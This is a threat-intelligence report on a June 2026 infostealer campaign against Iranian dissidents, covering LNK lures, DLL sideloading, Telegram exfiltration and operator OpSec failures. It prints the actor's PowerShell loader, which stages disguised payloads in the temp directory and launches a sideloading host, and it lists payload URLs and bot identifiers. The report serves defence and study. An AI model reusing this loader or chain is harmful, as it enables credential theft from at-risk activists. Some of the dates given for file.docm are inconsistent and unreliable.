Key Findings
We uncovered a campaign targeting Iranian dissidents called “Iranopasmigirim”, with observed activity from June 9 to 19, 2026. Operators used the Rise Iran campaign’s visual identity linked to Prince Reza Pahlavi to advertise an event on June 19. Behind the scenes, a Rust-based infostealer, ParsaStealer, was executed, which evolved from an early Go version, ReaperStealer, into a more mature Rust build named umpdc.dll, distributed via DLL sideloading with Runtimebroker.exe. The Rust versions targeted Chromium credentials using Chrome-App-Bound-Encryption-Decryption, with development dating back to December 2025. Exfiltrated data was sent to Telegram in all observed samples. We also observed shifts in tradecraft, malware hosting infrastructure evolving from GitHub to tmpfiles.org and curl-t.com. OpSec failures helped us identify operator details: commits made with sudo3r@proton.me and timezone +0330, used Telegram bot username reap3rdatabot, development hostname parsa-pc and computer username parsa. This blog covers operational aspects like OpSec failures, infrastructure changes, lures, and samples, with a detailed analysis of ParsaStealer available in a separate blog post.
Introduction
A sample on MalwareBazaar caught our attention because it was labelled as “unknown”, which warranted a closer look. The sample turned out to be an LNK file that, upon execution, retrieves three additional files, all hosted under the same GitHub user and repository. We proceeded to analyse each of the three in turn.
Iranopasmigirim.lnk
The file Iranopasmigirim.lnk ties everything together. When run, it uses curl to download the following three files from GitHub, opens the decoy PDF and launches RuntimeBroker.exe. The sample retains much metadata, providing a solid basis for further hunting, especially the DriveSerialNumber.

Iranopasmigirim.pdf
One of the downloaded files is Iranopasmigirim.pdf from GitHub (hxxps[://]raw[.]githubusercontent[.]com/anonuser72/files/refs/heads/main/Iranopasmigirim[.]pdf), which acts as a decoy aimed at Iranian experts and activists outside Iran. The content will be described more in-depth in the following chapters.
RuntimeBroker.exe
The second file is RuntimeBroker.exe, likewise pulled from GitHub (hxxps[://]raw[.]githubusercontent[.]com/anonuser72/files/refs/heads/main/RuntimeBroker[.]exe). Unlike the other components, this is a legitimate, Microsoft-distributed binary carrying a valid signature dated 2025-04-08T03:46:00+00:00.
Umpdc.dll
The third file, umpdc.dll, is hosted in the same GitHub repo (hxxps[://]raw[.]githubusercontent[.]com/anonuser72/files/refs/heads/main/umpdc[.]dll). It is not the legitimate Microsoft version; it’s unsigned, written in Rust, and had already 8 detections on VirusTotal at the time of submission. Its compilation timestamp is 2026-06-05T09:58:47+00:00, with its first VirusTotal submission on 2026-06-11T13:50:45+00:00.
This explains the presence of RuntimeBroker.exe: the DLL is loaded through sideloading from the signed Microsoft binary, allowing execution under the cover of a trusted process. Umpdc.dll is an infostealer that exfiltrates data to Telegram. An encrypted config blob contains the Telegram destination channel, bot key and bot token, and target paths—more details are in a later chapter. We call this payload ParsaStealer
Further Hunting
Our attention then shifted to the payload repository at github[.]com/anonuser72/files, created on December 26, 2025, with the first commit at 2025-12-26T14:01:18+0330. Each commit shows an author email and timezone offset: sudo3r@proton.meand +0330, which is Iran Standard Time. Using the Proton key-date lookup, we found the PGP key linked to this Proton address was created on 2025-05-04T20:29:34+00:00. The commit history revealed many files had been deleted over the repository’s lifetime. We retrieved all of them, and with the already described samples, they became the starting point to hunt for more related artefacts..
The same account managed another repository, github[.]com/anonuser72/files2, which was already removed when our investigation started. We could only recover 3 files from this repository but do not know the full content. The account is no longer available; we noticed it was removed on 2026-06-25 and had last seen it on 2026-06-20, but don’t know the exact removal date.

Uncovering the “Iranopasmigirim” Campaign
Starting from the three initial samples and recovered files, we searched VirusTotal for more artefacts. We uncovered more malware, two GitHub repositories total, multiple staging servers, and shifts in tradecraft over time. This article focuses on samples linked to the Iranopasmigirim campaign. We also found material not directly part of this campaign but likely from the same threat actor, including samples and malware resembling test or development builds. We will address these separately. The campaign aims solely to deploy the infostealer umpdc.dll, tracked as ParsaStealer, named for debug strings. No backdoors or persistent access attempts were observed.
Delivery Tactics
The initial delivery vector is unconfirmed; email or Telegram seem possible, but there’s no evidence to decide. What we can characterise in detail is the execution chain, which varied noticeably across samples:

While the execution chain varied across samples, in all cases a LNK file was the first step. After the campaign ended, we observed uploaded LNK files to VirusTotal specifying pcalua.exe as the TargetFileDOSName, which then runs either cmd.exe or powershell.exe to evade detections.
Lures
Over the course of the investigation, we identified several distinct lures. Within the Iranopasmigirim campaign itself, a single PDF, iranopasmigirim.pdf, served as the lure across all observed samples. Beyond this campaign, we recovered several further lures attributable to the same threat actor. Not all of them carry an Iran-related theme, and a portion appear to have been used solely for testing purposes.
iranopasmigirim.pdf
The lure used throughout this campaign is the PDF already introduced above. Its metadata places creation on 09.06.2026, and it carries the title دعوتنامه رسمی کارزار ایران را پس میگیریم — “Official Invitation to the We Will Take Iran Back Campaign.” In the following is an image of the official campaign led by Prince Reza Pahlavi.

The document is styled as a formal invitation to an event associated with the Rise Iran campaign. Notably, it contains no URL, meeting ID, or any other means of joining the event it purports to announce.

In substance and framing, the document is aimed at “experts, activists and committed individuals”, presumably those living outside Iran.
Personnel.xlsm
A further lure surfaced in the form of Personnel.xlsm. The spreadsheet itself is empty, which suggests a test file rather than an operational lure.
Its metadata records a creation date of 2026-04-07T08:53:01+00:00 and names “parsa” as the user who last modified the document.

The file contains a macro whose sole function is to execute RuntimeBroker.exe — consistent with the sideloading pattern used to launch umpdc.dll elsewhere in the campaign. In this case, however, neither the executable nor the accompanying DLL was found, so the chain cannot complete as written. It is assumed that all files are meant to be shipped together in an archive.

file.docm
A third lure appears as file.docm, created on 2026-12-26 according to its metadata and, once again, last modified by the user “parsa”. The content contains no Iran-related theme, and no text beyond the instruction “Enable Content to View The File.”

The macro runs \info\win.exe from the document’s path, supplied by the archive. This binary is the legitimate MoUSOCoreWorker.exe, created in May 2025, acting as the sideloading host for umpdc.dll, one of the earlier stealer builds.

The creation date, 2026-12-06, marks the GitHub repository’s start and the actor’s initial activity, with no Iran-specific framing suggesting it’s a test or development artefact, not an operational lure.

Personnel-Info.iso
An earlier lure, predating the Iranopasmigirim campaign, comes as an ISO image named Personnel-Info.iso, dated 2026-05-09. It contains Personnel.lnk, alongside a directory named Photos holding 177 JPEG images, two PE executables, one PowerShell script, and one spreadsheet.

The volume of images is camouflage. The LNK does not open any of them; instead, it invokes the PowerShell script, which is disguised under the filename photo_2024-04-05_19-46-21.jpg to blend in with the surrounding gallery.
$t=$env:temp
cp Photos\photo_2023-12-23_22-14-07.jpg $t\RuntimeBroker.exe -ErrorAction SilentlyContinue
cp Photos\photo_2026-03-07_22-25-07.jpg $t\umpdc.dll -ErrorAction SilentlyContinue
start $t\RuntimeBroker.exe
$x='List.xlsx'
cp Photos\photo_2026-03-23_21-27-32.jpg $t\$x -ErrorAction SilentlyContinue
start -wait $t\$x
del $t\$x -ErrorAction SilentlyContinue
del Photos\photo_2023-12-23_22-14-07.jpg -ErrorAction SilentlyContinue
del Photos\photo_2026-03-07_22-25-07.jpg -ErrorAction SilentlyContinueThe script copies umpdc.dll and RuntimeBroker.exe into $env:temp and executes the latter. The RuntimeBroker.exe used here is hash-identical to the one seen in the main campaign.
In parallel, the script opens the spreadsheet List.xlsx, which acts as the visible decoy. It holds 151 rows under the following headers:
- First Name
- Surname
- Father’s Name
- Rank
- Position
- Branch/University
- National ID number
- Mobile phone
- Home address

The schema indicates that the combination of rank, position, and branch or university, alongside national ID numbers, mobile numbers, and home addresses, is characteristic of a personnel roster for military or security-service members. The content of this list was not verified in any way, and it was not confirmed if this list was copied from existing data or was custom-created.

The decoy images depict different persons from Iranian politics and the military.

In general, these decoys differ in content from the already observed ones regarding the potential targets to distribute the lures to.
Untitled Document.pdf
Another lure is an empty PDF consisting of a single blank page, created on 2026-06-22, that is, after the campaign had already concluded. The file carries no meaningful metadata and offers little to work with on its own. We came across it only because it is referenced by other samples we attribute to this actor with high confidence. Given its emptiness and timing, it was likely used for testing purposes.
wall.jpg and wall.png
Alongside the obvious test files and Iran-themed decoys, we encountered one document that fits neither category: a note that reads like a conventional ransomware ransom note.

During the investigation, we found no files belonging to this actor with ransomware or encryption capabilities. We identified two readme.txt files which were in fact executables, but one was non-functional, and the other was an early Rust build of ParsaStealer, not a note.
The note was pushed to the files repository on three separate occasions; 2026-01-30, 2026-02-03 and 2026-06-12, and removed each time again, in one instance, a mere fourteen seconds after being uploaded. We assume that this was done due to an accidental push.
We assess with low confidence that the goal is social engineering: a note meant to alarm the victim into executing the malware. The note is illustrated with a grim reaper logo, which aligns neatly with the actor’s naming conventions — several samples carry reaper in their PDB strings, and the same theme recurs in the usernames of the Telegram channels used for exfiltration. The file itself contains no relevant metadata. The logo is not original artwork: it originates from Shutterstock, which leaves open whether it was licensed or simply lifted.
Analysis of Malware used in the “Iranopasmigirim” Campaign
During the investigation, we found various malware sets. Most were abandoned; the only exception was the Rust-based infostealer umpdc.dll, which showed consistent refinement. The build used in this campaign was among the most developed, and development continued after the campaign ended.
We keep the analysis at a high-level in this blog. For a more in-depth analysis and clustering of the different ParsaStealer samples we have observed and an overview of the unrelated samples, we refer to the second entry in this blog post, which will be published soon
ParsaStealer (umpdc.dll)
This campaign centres on a Rust infostealer, distributed as a Win64 DLL named umpdc.dll. The build, used in Iranopasmigirim, has a timestamp of 2026-06-05Z09:58:47+00:00. It only steals data, with no backdoor or remote access. A summary of exfiltrated data is:
- Cloud Credentials
- Developer Credentials
- Crypto Wallets
- FTP Configurations
- Password Manager
- Remote Access Configurations and credentials
- SSH Keys
- VPN Configurations
A full list of exfiltrated files can be found here
The samples contain many debug strings, useful for analysis and clustering related builds. The notable build path /run/media/parsa/Files/projects/abecrypt likely indicates app-bound encryption, the Chrome protection the stealer aims to bypass. The username parsa in that path appears in other findings and was key during VirusTotal hunting.
The stealer doesn’t implement its own ABE bypass for Chromium credential decryption but embeds a reflectively loaded Chrome-App-Bound-Encryption-Decryption, version v0.20.0, the first release adding support for AvastBrowser.exe, which is present in the sample.
Exfiltration occurs via Telegram. The bot ID, bot token, destination Chat ID, and file paths and names to exfiltrate are hardcoded in the AES-GCM encrypted configuration. After collection, a delete.bat is dropped, which terminates the InfoStealer, removes the DLL, and finally deletes itself.
Telegram Clustering
Telegram was the exfiltration channel during the campaign. Each sample contains the bot ID and bot Token, and the destination channel ID. By decrypting these configs, we recovered all Telegram credentials and analysed the config contents. At the time of writing, all of the channels are closed; hence, we can publicly disclose them.
Additionally, some predecessors of ParsaStealer and a few other testing samples had an embedded Telegram configuration. Hence, the number of observed samples communicating with Telegram is larger than the ParsaStealer samples alone. In total, we identified seven distinct Telegram bots. All configs used the same Channel ID 8243249225.
| Telegram bot | Samples communicating with it | Period of use |
|---|---|---|
| bot8805565981 | 4 | June 2026 |
| bot8243249225 | 1 | June 2026 |
| bot8969625701 | 45 | February - July 2026 |
| bot8599710084 | 10 | February - May 2026 |
| bot8594760416 | 5 | January - February 2026 |
| bot8524032093 | 5 | December 2025 |
| bot8438468084 | 10 | December 2025 |
The distribution maps cleanly onto the development timeline described earlier. The two December 2025 bots correspond to the earliest generation of tooling: bot8438468084 was used exclusively by the Go-based ReaperStealer and its cryptowatch companion, while bot8524032093 served the Rust port of the same. As development moved to umpdc.dll, the channels shifted accordingly — bot8594760416 and bot8599710084 both handled early-stage builds of the stealer between January and May 2026.
By far the largest cluster is bot8969625701, with 45 associated samples spanning February to July 2026. This is the bot also used throughout the Iranopasmigirim campaign, and it remained in service after the campaign concluded on the 19th June, the end date advertised in the lure Iranopasmigirim.pdf. This cluster was also used by multiple prior versions of ParsaStealer. It is unknown if these prior versions were also distributed in some further campaigns.
bot8805565981 accounts for four umpdc.dll samples, whereas bot8243249225 accounts for exactly one. Notably, both are configured with an identical token despite having different bot IDs, a combination that Telegram does not issue, indicating that at least one of the two pairs is invalid. Consequently, the respective samples would have failed to exfiltrate any data. The most plausible explanation is an inadvertent copy-paste error during the operator’s configuration update, which also explains why only a single sample references bot8243249225.
In the following, we can see the username used for the Telegram bot by connecting to a live Telegram channel and using the “getMe” Endpoint. This was the only Telegram channel we could connect to over the duration of the investigation.

OpSec Failures and Findings
As noted earlier, the actor uploaded a number of presumably test-related files to the files repository. Among these were seven ProcMon CSV logs capturing execution from the local development directory E:\projects\dllproxy\.
The logs document the iterative development of a DLL intended for sideloading. In some runs, the DLL is rejected outright and execution fails; in others, the payload crashes; and in a few, the chain completes successfully.
The logs do not record a creation date directly, only timestamps of the day. However, the file operations captured within them carry full timestamps, which place all seven logs on 2026-02-06 – 2026-02-07. The timezone in which they were recorded is unknown.

The first line of each log contains the complete set of environment variables from the recording host, confirming several details already established elsewhere, such as the username and the Computername.

Additionally, the content of the PATH environment variable shows multiple tools used to assist in development, such as ConEmu, Donut, and Scoop.

The paths referenced throughout the logs are similarly revealing, even if we have no further visibility into most of them:
- E:\projects\dllproxy\dll\
- E:\projects\dllproxy\dllproxy.py
- E:\projects\dllproxy\generated_proxy.cpp
- E:\projects\dllproxy\dll-proxy-generator.exe
- E:\projects\dllproxy\project\GUP.exe
- E:\Projects\dllproxy\UMPDC.dll
- E:\projects\dllproxy\file.dll
As these logs are presumably from 2026-02-06 to 2026-02-07 and we have seen the first versions of ParsaStealer starting from 2026-02-11, we assume these logs show early testing to transform the former .exe-based InfoStealer into a Sideloaded DLL, while testing different candidates such as GUP.exe. Another fact supporting this theory is that the early version of ParsaStealer was still developed on Windows, as seen in these logs.
Threat Actor Information
The operational security failures described above produce the following picture. All values are attacker-controlled and could be planted
| Indicator | Value | Source |
|---|---|---|
| Timezone | +0330 | Public Git commit metadata |
| Email address | sudo3r@proton.me | Public Git commit metadata |
| Telegram username | reap3rdatabot | Obtained by connecting to an exfiltration destination |
| GitHub username | anonuser72 | Used for two repositories |
| Hostname | parsa-pc | Initially from ProcMon debug logs; also present as machine ID in multiple LNK files |
| Computer username | parsa | Present in multiple samples |
Attribution
The available evidence supports clustering these samples into a distinct activity set but does not support organisational attribution. +0330 timezone offset in Git commit history, development paths including the recurring username parsa, and victimology are consistent with an Iran-associated development environment; however, these indicators can be fabricated. We have not identified infrastructure, code, or operational overlap sufficient to link the activity to a previously named group.
Attribution based on network indicators is difficult because the actor doesn’t use custom command-and-control infrastructure. Instead, it operates on trusted platforms like GitHub, tmpfiles.org, curl-t.com, and Telegram, a method called living-off-trusted-sites (LOTS).
To our knowledge, these samples have not yet been attributed by other researchers. We can, however, place the campaign alongside comparable published work.
The closest parallel is Acronis’ reporting on CrescentHarvest, which likewise documents dissident-focused targeting. The overlaps are substantial: decoys aimed at dissidents, heavy reliance on LNK files, next-stage deployment by carving payloads out of the LNK itself, and DLL sideloading for execution.
The differences are equally clear, though. CrescentHarvest sideloads a different DLL, uses different decoys, deploys a backdoor, and operates custom C2 infrastructure — none of which applies here. Its tooling is written in C++, whereas our actor has worked in Go and now Rust. The overall impression is of a similar campaign run by a different actor.
A second reference point is SentinelOne’s mid-year assessment of the Iran-related threat landscape, which describes the cluster TAG-182 as focused on “surveillance of dissidents and diaspora,” with no sponsor publicly attributed with confidence. That mission statement fits our observations well.
However, the technical picture, as shown by Recorded Future, is less convincing. The TAG-182 campaign documented by Recorded Future shares none of our technical indicators; the only common ground is the targeting of Farsi-speaking users. Its lure is a VPN application marketed to anti-government audiences that deploys MarkiRAT. Beyond victimology, we see no overlap with the behaviour observed in our campaign.
Detection Guidance
On the detection side, we can differentiate between host and network indicators. In total, we have observed network connections to tmpfiles.org, api.telegram.org, curl-t.com and raw.githubusercontent.com.
We consider requests to tmpfiles.org, api.telegram.org and curl-t.com in general as suspicious and would advise further investigation to understand which process initiated the connection. If possible, blocking these connections is advised.
Connections to raw.githubusercontent.com can in many companies be initiated legitimately, especially if done by IT personnel. Therefore, blocking is not as straightforward, and the volume of alerts can quickly become unmanageable. One possibility is to first create a baseline and investigate only outliers.
On the host side, we advise multiple generic strategies, hunting for LNKs that spawn subprocesses such as cmd.exe or powershell.exe and creation of Sideloadable DLLs in a user-writable directory alongside an executable that calls this DLL.
Summary and Final Words
Iranopasmigirim was a short, narrow campaign. Between 9 to 19 June 2026, a single actor used one lure, a forged invitation to a Rise Iran event, to deliver one payload: ParsaStealer, a Rust infostealer sideloaded through a signed Microsoft binary. There was no backdoor, no persistence, and no attempt to hold access. The objective was credential theft from Iranian activists abroad.
What makes the activity worth documenting is the operator. Development ran openly on GitHub from December 2025, and the commit history, ProcMon logs and build paths left behind give an unusually complete view of how the tooling matured from a Go prototype into the Rust build used here. That same visibility exposed a configuration error that left at least one batch of samples unable to exfiltrate anything.
Attribution stops short of a named group. Every host-derived indicator we recovered is attacker-controlled and could be planted. What the evidence does support is a coherent activity set, run by an operator working in Iran Standard Time against a dissident target profile, whose tradecraft is improving and whose development continued after this campaign closed. Before publishing this blog post, we have notified relevant government institutions in Germany and shared all details.
Appendix
All IOCs are uploaded to our GitHub.
You can find the next entry in this blog post here, as soon as it is published.
References
- https://www.recordedfuture.com/research/nexus-tag182-disseminates-markirat
- https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
- https://www.acronis.com/en/tru/posts/crescentharvest-iranian-protestors-and-dissidents-targeted-in-cyberespionage-campaign/
- https://www.sentinelone.com/labs/iran-war-cyber-threat-landscape-a-midyear-assessment-on-what-matters/